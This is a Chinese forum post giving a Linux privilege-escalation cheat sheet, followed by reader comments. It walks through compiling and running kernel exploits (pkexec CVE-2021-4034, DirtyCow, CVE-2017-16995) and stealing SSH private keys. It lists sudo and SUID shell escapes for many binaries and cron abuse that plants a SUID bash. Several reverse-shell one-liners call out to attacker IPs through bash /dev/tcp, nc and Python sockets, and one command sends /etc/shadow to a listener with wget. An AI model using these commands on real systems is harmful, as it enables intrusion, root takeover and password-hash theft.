其实我们如果知道,这台机器提权对我们下一步的渗透工作存在意义的情况下,才会去进行提权的。并非拿到入口机器一股劲儿的冲提权。
如果是一台员工的电脑,提权到system一点用没有,首先要明白 每次打内网的目标是什么,是域控!说了那么多其实想说的是,要明白如果我对这台机器提权了,对我有什么帮助?
信息收集:
查看发行版本
cat /etc/issue
cat /etc/*-release
查看内核版本,
uname -a
pkexec 本地提权
Github地址:https://github.com/berdav/CVE-2021-4034
通杀乌班图和centos
Linux内核的内存子系统在处理 写入时复制产生了条件竞争。攻击者可以利用此漏洞来获取高权限,对制度内存映射进行写访问。条件竞争指的是任务执行顺序异常,可导致应用崩溃,或者进一步利用执行其他代码。利用这一漏洞会让攻击者大概率获得root权限!
脏牛系统提权范围:linux内核=>2.6.22
介绍:该漏洞利用dirtycow漏洞的pokemon漏洞利用作为基础,自动生成新的passwd行。运行二进制文件时,将提示用户输入新密码。然后将原始 /etc/passwd 文件备份到 /tmp/passwd.bak 并用生成的行覆盖 root 帐户。运行漏洞利用后,您应该能够使用新创建的用户登录。
Github:https://github.com/FireFart/dirtycow
查看内核信息
上传exp进行编译,再运行即可获得root权限!
流程:
Linux本地内核提权 CVE-2017-16995
从网上下载exp,或者kali导出exp上传到提权主机上。
gcc 45010.c -o 45010 编译
chmod +x 45010 增加权限
./45010 执行脚本
id
1、确认内核版本
2、上传Exploit到Ubuntu中
3、编译exp
4、执行exploit程序,执行完之后可见当前用户权限变成了root!提权成功。
找exp的路径
把它复制到当前目录下
确认目标有gcc,那么可以直接上传exp,在目标机器进行编译
攻击机:sudo python -m SimpleHTTPServer 80
受害机:wget http://192.168.239.141/37292.c -O /tmp/37292.c
受害机:对齐编译:gcc 37292.c -o exp
加权限,运行!
描述:获取目标系统的ssh配置文件,达到ssh登录系统的目的。
拿到shell后,使用如下命令检查哪些用户是bash的: cat /etc/passwd | grep bash
可能会有多个用户是由bash的,接下来检查哪些用户的家目录是可以被访问的,如果可以被访问,有没有.ssh隐藏目录。如果有的话,获取 id_rsa文件
复制 id_rsa的内容到kali上面,设置权限: chmod 600 id_rsa
。
然后尝试登录目标: ssh -i id_rsa web1@ip
项目地址:https://github.com/rebootuser/LinEnum
LinEnum 是一个 Linux 主机本地信息自动提取的 shell 脚本,它有超过 65 项安全检查功能,比如潜在的 SUID/GUID 文件、Sudo/rhost 错误配置等。另外这个脚本还可以根据关键字(比如 Password)搜索 .conf 和 .log 文件,这些功能对于渗透测试人员来说,是非常有用的。
一般来说,有很多时候我们无法查看passwd或者ip地址的时候,用这个脚本可以帮你一键获取你想要的信息!
chmod +x /tmp/LinEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt
项目地址:https://github.com/jondonas/linux-exploit-suggester-2
运行之后可以看到很多系统中存在可利用的提权漏洞
并且还要知道当前用户的密码
可以利用sudo提权的命令如下
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp
Sudo git -p help
!/bin/bash
输入sudo密码(当前用户的密码)
在光标处进行输入!/bin/bash。回车
提权成功!
普通用户find命令提权
先查看find命令有没有提权的可能
必要条件:find必须有s执行权限,有s表示可以提权
尝试执行whoami
尝试调出一个交互式的bin/sh并且是root权限
此shell 为不完整的shell, 升级交互式。
#在反弹shell上执行
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'
[root@localhost ~]# ctrl +z 按键。挂起正在运行的程序
[kali机器 ~]# stty raw -echo
# 输入这个命令 在输入命令终端不再显示
[kali机器 ~]#fg
# 把后台挂起的程序,放入到控制台。终端不再显示命令,输入后回撤
[root@localhost ~]# reset
用find进行反弹shell
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \;
利用find+nc反弹shell
find /var/www/dirty -exec nc x.x.x.x 8888 -t -e /bin/sh \;
find+python进行反弹shell
find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
##kali上监听
nc -lvp 4444 > hash.txt
##靶机上
/usr/bin/wget --post-file=/etc/shadow 10.211.55.3:4444
攻击机:
受害机:
通过nc收到了http的文件内容保存到了test.txt中,可查看结果
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"
sudo taskset 1 /bin/sh -p
sudo sed -n '1e exec sh 1>&0' /etc/passwd
输入:sudo tmux
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
sudo perl -e ‘exec “/bin/bash”;’
sudo less /etc/hosts
!bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo man man
!bash
sudo vi
:!bash
sudo env /bin/bash
sudo ftp
! /bin/bash
对于可能存在的权限配置不当的有root权限的计划任务,让我们普通用户也拥有修改的权限,我们修改其中的内容,为bash、less等赋予SUID权限,与SUID提权结合,使其提权成功!
列出系统中的一些计划任务:
ls -l /etc/cron*
cat /etc/crontab
如果遇到了权限为777配置不当的计划任务,我们可以修改时,我们可以往文件里面添加内容。
比如把shell复制到tmp目录下其次给权限
cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;
或者给其他组件权限也可以进行提权,比如find、vim、less之类的,具体方法上面有写。
注意:当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码喔!
还有其他的提权手法没有提及到的,欢迎小伙伴们来和我一起讨论~
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 100.00 | 0 | 2022-04-29 21:09:36 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
spider
发表于 2022-4-29
此文为社区所发,不允许转载。
评论列表
加载数据中...
ZKAQ-枫
发表于 2022-4-30
强啊兄弟
评论列表
加载数据中...
白且
发表于 2022-5-9
牛啊
评论列表
加载数据中...